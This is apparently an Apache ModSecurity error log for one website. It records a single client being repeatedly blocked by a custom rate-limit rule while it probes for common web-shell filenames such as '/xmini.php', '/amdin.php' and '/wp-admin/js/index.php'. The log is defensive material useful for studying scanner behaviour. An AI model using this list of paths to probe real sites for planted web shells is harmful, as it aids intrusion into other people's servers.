[Sat Apr 25 18:16:14.292914 2026] [:error] [pid 16108:tid 16177] [client 20.215.66.169:13544] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Xx.php"] [unique_id "aeyUbobPF4HSQDj6WrlUegAAAMs"]
[Sat Apr 25 18:16:14.817134 2026] [:error] [pid 16106:tid 16133] [client 20.215.66.169:13612] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Xx.php"] [unique_id "aeyUbiGjdEsrWF7e-7MULAAAAFc"]
[Sat Apr 25 18:16:15.332665 2026] [:error] [pid 16106:tid 16120] [client 20.215.66.169:13625] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xmini.php"] [unique_id "aeyUbyGjdEsrWF7e-7MULgAAAEo"]
[Sat Apr 25 18:16:15.842273 2026] [:error] [pid 16106:tid 16126] [client 20.215.66.169:13529] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xmini.php"] [unique_id "aeyUbyGjdEsrWF7e-7MULwAAAFA"]
[Sat Apr 25 18:16:16.351942 2026] [:error] [pid 16107:tid 16152] [client 20.215.66.169:13609] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xmini.php"] [unique_id "aeyUcNIfF7Hy3tw0sYRcsAAAAI8"]
[Sat Apr 25 18:16:16.891031 2026] [:error] [pid 16108:tid 16169] [client 20.215.66.169:13673] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xmini.php"] [unique_id "aeyUcIbPF4HSQDj6WrlUfgAAAMU"]
[Sat Apr 25 18:16:17.430171 2026] [:error] [pid 16195:tid 16216] [client 20.215.66.169:13593] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/2468.php"] [unique_id "aeyUcTVPLvrpvXaNQOkApwAAABI"]
[Sat Apr 25 18:16:17.943099 2026] [:error] [pid 16195:tid 16211] [client 20.215.66.169:13583] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/2468.php"] [unique_id "aeyUcTVPLvrpvXaNQOkAqAAAAA0"]
[Sat Apr 25 18:16:18.453616 2026] [:error] [pid 16195:tid 16221] [client 20.215.66.169:13595] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/2468.php"] [unique_id "aeyUcjVPLvrpvXaNQOkAqgAAABc"]
[Sat Apr 25 18:16:18.992123 2026] [:error] [pid 16195:tid 16213] [client 20.215.66.169:13662] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/2468.php"] [unique_id "aeyUcjVPLvrpvXaNQOkArgAAAA8"]
[Sat Apr 25 18:16:19.527388 2026] [:error] [pid 16107:tid 16154] [client 20.215.66.169:13508] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/js/index.php"] [unique_id "aeyUc9IfF7Hy3tw0sYRcsgAAAJE"]
[Sat Apr 25 18:16:20.041367 2026] [:error] [pid 16107:tid 16155] [client 20.215.66.169:13664] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/js/index.php"] [unique_id "aeyUdNIfF7Hy3tw0sYRctAAAAJI"]
[Sat Apr 25 18:16:20.554538 2026] [:error] [pid 16195:tid 16221] [client 20.215.66.169:13647] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/js/index.php"] [unique_id "aeyUdDVPLvrpvXaNQOkAsgAAABc"]
[Sat Apr 25 18:16:21.090651 2026] [:error] [pid 16195:tid 16217] [client 20.215.66.169:13606] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/js/index.php"] [unique_id "aeyUdTVPLvrpvXaNQOkAtAAAABM"]
[Sat Apr 25 18:16:21.626044 2026] [:error] [pid 16107:tid 16161] [client 20.215.66.169:13537] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dx.php"] [unique_id "aeyUddIfF7Hy3tw0sYRcuAAAAJg"]
[Sat Apr 25 18:16:22.148205 2026] [:error] [pid 16195:tid 16216] [client 20.215.66.169:13507] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dx.php"] [unique_id "aeyUdjVPLvrpvXaNQOkAtgAAABI"]
[Sat Apr 25 18:16:22.666726 2026] [:error] [pid 16195:tid 16218] [client 20.215.66.169:13598] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dx.php"] [unique_id "aeyUdjVPLvrpvXaNQOkAuQAAABQ"]
[Sat Apr 25 18:16:23.186876 2026] [:error] [pid 16106:tid 16111] [client 20.215.66.169:13695] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dx.php"] [unique_id "aeyUdyGjdEsrWF7e-7MUMwAAAEE"]
[Sat Apr 25 18:16:23.703147 2026] [:error] [pid 16195:tid 16200] [client 20.215.66.169:13587] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/amdin.php"] [unique_id "aeyUdzVPLvrpvXaNQOkAuwAAAAI"]
[Sat Apr 25 18:16:24.238123 2026] [:error] [pid 16108:tid 16173] [client 20.215.66.169:13600] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/amdin.php"] [unique_id "aeyUeIbPF4HSQDj6WrlUjQAAAMc"]
[Sat Apr 25 18:16:24.775574 2026] [:error] [pid 16195:tid 16217] [client 20.215.66.169:13617] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/amdin.php"] [unique_id "aeyUeDVPLvrpvXaNQOkAvgAAABM"]
[Sat Apr 25 18:16:25.310013 2026] [:error] [pid 16195:tid 16216] [client 20.215.66.169:13638] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/amdin.php"] [unique_id "aeyUeTVPLvrpvXaNQOkAwAAAABI"]
[Sat Apr 25 18:16:25.848596 2026] [:error] [pid 16108:tid 16182] [client 20.215.66.169:13525] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/huya.php"] [unique_id "aeyUeYbPF4HSQDj6WrlUkAAAANA"]
[Sat Apr 25 18:16:26.384024 2026] [:error] [pid 16195:tid 16206] [client 20.215.66.169:13694] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/huya.php"] [unique_id "aeyUejVPLvrpvXaNQOkAwwAAAAg"]
[Sat Apr 25 18:16:26.942468 2026] [:error] [pid 16107:tid 16141] [client 20.215.66.169:13643] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/huya.php"] [unique_id "aeyUetIfF7Hy3tw0sYRcvQAAAIQ"]
[Sat Apr 25 18:16:27.477576 2026] [:error] [pid 16195:tid 16201] [client 20.215.66.169:13621] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/huya.php"] [unique_id "aeyUezVPLvrpvXaNQOkAxgAAAAM"]
[Sat Apr 25 18:16:28.002971 2026] [:error] [pid 16195:tid 16220] [client 20.215.66.169:13574] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/puc.php"] [unique_id "aeyUfDVPLvrpvXaNQOkAyAAAABY"]
[Sat Apr 25 18:16:28.517729 2026] [:error] [pid 16195:tid 16210] [client 20.215.66.169:13619] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/puc.php"] [unique_id "aeyUfDVPLvrpvXaNQOkAyQAAAAw"]
[Sat Apr 25 18:16:29.057193 2026] [:error] [pid 16195:tid 16216] [client 20.215.66.169:13637] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/puc.php"] [unique_id "aeyUfTVPLvrpvXaNQOkAzAAAABI"]
[Sat Apr 25 18:16:29.618116 2026] [:error] [pid 16195:tid 16208] [client 20.215.66.169:13663] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/puc.php"] [unique_id "aeyUfTVPLvrpvXaNQOkAzQAAAAo"]
[Sat Apr 25 18:16:30.180282 2026] [:error] [pid 16108:tid 16164] [client 20.215.66.169:13475] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/themes.php"] [unique_id "aeyUfobPF4HSQDj6WrlUmAAAAMA"]
[Sat Apr 25 18:16:30.738309 2026] [:error] [pid 16195:tid 16209] [client 20.215.66.169:13517] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/themes.php"] [unique_id "aeyUfjVPLvrpvXaNQOkA0AAAAAs"]
[Sat Apr 25 18:16:31.293180 2026] [:error] [pid 16107:tid 16152] [client 20.215.66.169:13573] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/themes.php"] [unique_id "aeyUf9IfF7Hy3tw0sYRcwQAAAI8"]
[Sat Apr 25 18:16:31.804225 2026] [:error] [pid 16108:tid 16189] [client 20.215.66.169:13558] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/themes.php"] [unique_id "aeyUf4bPF4HSQDj6WrlUmgAAANc"]
[Sat Apr 25 18:16:32.359238 2026] [:error] [pid 16108:tid 16166] [client 20.215.66.169:13448] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ewp.php"] [unique_id "aeyUgIbPF4HSQDj6WrlUmwAAAMI"]
[Sat Apr 25 18:16:32.892544 2026] [:error] [pid 16195:tid 16202] [client 20.215.66.169:13599] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ewp.php"] [unique_id "aeyUgDVPLvrpvXaNQOkA1wAAAAQ"]
[Sat Apr 25 18:16:33.433605 2026] [:error] [pid 16195:tid 16206] [client 20.215.66.169:13521] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ewp.php"] [unique_id "aeyUgTVPLvrpvXaNQOkA2QAAAAg"]
[Sat Apr 25 18:16:33.978531 2026] [:error] [pid 16106:tid 16127] [client 20.215.66.169:13524] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ewp.php"] [unique_id "aeyUgSGjdEsrWF7e-7MUOgAAAFE"]
[Sat Apr 25 18:16:34.512894 2026] [:error] [pid 16106:tid 16117] [client 20.215.66.169:13513] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kikikoko.php"] [unique_id "aeyUgiGjdEsrWF7e-7MUOwAAAEc"]
[Sat Apr 25 18:16:35.070132 2026] [:error] [pid 16107:tid 16138] [client 20.215.66.169:13603] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kikikoko.php"] [unique_id "aeyUg9IfF7Hy3tw0sYRcxgAAAIE"]
[Sat Apr 25 18:16:35.634733 2026] [:error] [pid 16107:tid 16155] [client 20.215.66.169:13589] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kikikoko.php"] [unique_id "aeyUg9IfF7Hy3tw0sYRcxwAAAJI"]
[Sat Apr 25 18:16:36.184645 2026] [:error] [pid 16108:tid 16179] [client 20.215.66.169:13514] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kikikoko.php"] [unique_id "aeyUhIbPF4HSQDj6WrlUpQAAAM0"]
[Sat Apr 25 18:16:36.701396 2026] [:error] [pid 16106:tid 16116] [client 20.215.66.169:13569] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dx.php"] [unique_id "aeyUhCGjdEsrWF7e-7MUPgAAAEY"]
[Sat Apr 25 18:16:37.239417 2026] [:error] [pid 16195:tid 16213] [client 20.215.66.169:13536] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dx.php"] [unique_id "aeyUhTVPLvrpvXaNQOkA5gAAAA8"]
[Sat Apr 25 18:16:37.773468 2026] [:error] [pid 16195:tid 16221] [client 20.215.66.169:13584] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dx.php"] [unique_id "aeyUhTVPLvrpvXaNQOkA6QAAABc"]
[Sat Apr 25 18:16:38.288669 2026] [:error] [pid 16195:tid 16208] [client 20.215.66.169:13506] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dx.php"] [unique_id "aeyUhjVPLvrpvXaNQOkA7AAAAAo"]
[Sat Apr 25 18:16:38.800409 2026] [:error] [pid 16195:tid 16200] [client 20.215.66.169:13628] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xff.php"] [unique_id "aeyUhjVPLvrpvXaNQOkA8AAAAAI"]
[Sat Apr 25 18:16:39.339047 2026] [:error] [pid 16195:tid 16199] [client 20.215.66.169:13596] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xff.php"] [unique_id "aeyUhzVPLvrpvXaNQOkA9AAAAAE"]
[Sat Apr 25 18:16:39.878777 2026] [:error] [pid 16108:tid 16173] [client 20.215.66.169:13611] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xff.php"] [unique_id "aeyUh4bPF4HSQDj6WrlUrgAAAMc"]
[Sat Apr 25 18:16:40.389767 2026] [:error] [pid 16108:tid 16179] [client 20.215.66.169:13592] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xff.php"] [unique_id "aeyUiIbPF4HSQDj6WrlUrwAAAM0"]
[Sat Apr 25 18:16:40.899176 2026] [:error] [pid 16108:tid 16166] [client 20.215.66.169:13582] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lupo.php"] [unique_id "aeyUiIbPF4HSQDj6WrlUsgAAAMI"]
[Sat Apr 25 18:16:51.991811 2026] [autoindex:error] [pid 16108:tid 16181] [client 20.215.66.169:13676] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/Requests/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Apr 25 18:17:01.709363 2026] [:error] [pid 16108:tid 16182] [client 20.215.66.169:13676] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/8.php"] [unique_id "aeyUnYbPF4HSQDj6WrlVKgAAANA"]
[Sat Apr 25 18:17:02.270442 2026] [:error] [pid 16106:tid 16117] [client 20.215.66.169:13604] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/8.php"] [unique_id "aeyUniGjdEsrWF7e-7MUagAAAEc"]
[Sat Apr 25 18:17:02.809897 2026] [:error] [pid 16195:tid 16220] [client 20.215.66.169:13528] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/8.php"] [unique_id "aeyUnjVPLvrpvXaNQOkBOwAAABY"]
[Sat Apr 25 18:17:03.323181 2026] [:error] [pid 16106:tid 16112] [client 20.215.66.169:13504] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/8.php"] [unique_id "aeyUnyGjdEsrWF7e-7MUbQAAAEI"]
